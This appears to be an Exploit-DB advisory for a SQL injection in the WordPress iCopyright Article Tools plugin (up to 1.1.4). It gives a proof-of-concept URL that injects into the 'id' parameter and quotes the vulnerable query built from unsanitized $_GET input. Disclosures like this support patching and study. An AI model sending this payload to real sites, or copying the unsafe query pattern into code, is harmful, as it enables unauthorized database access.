WordPress iCopyrightR Article Tools plugin <= 1.1.4 - SQL Injection

2011-08-29T00:00:00
ID EDB-ID:17749
Type exploitdb
Reporter Miroslav Stampar
Modified 2011-08-29T00:00:00

Description

WordPress iCopyright(R) Article Tools plugin <= 1.1.4 - SQL Injection. Webapps exploit for php platform

                                        
                                            # Exploit Title: WordPress iCopyright(R) Article Tools plugin &lt;= 1.1.4 SQL Injection Vulnerability
# Date: 2011-08-29
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/copyright-licensing-tools.zip
# Version: 1.1.4 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/copyright-licensing-tools/icopyright_xml.php?id=1' AND 1=1--%20

---------------
Vulnerable code
---------------
$icopyright_post_id = $_GET['id']; //requested post id
...
$response = $wpdb-&gt;get_results("SELECT * FROM $posttable JOIN $usertable on $posttable.post_author=$usertable.ID WHERE $posttable.ID = '$icopyright_post_id'");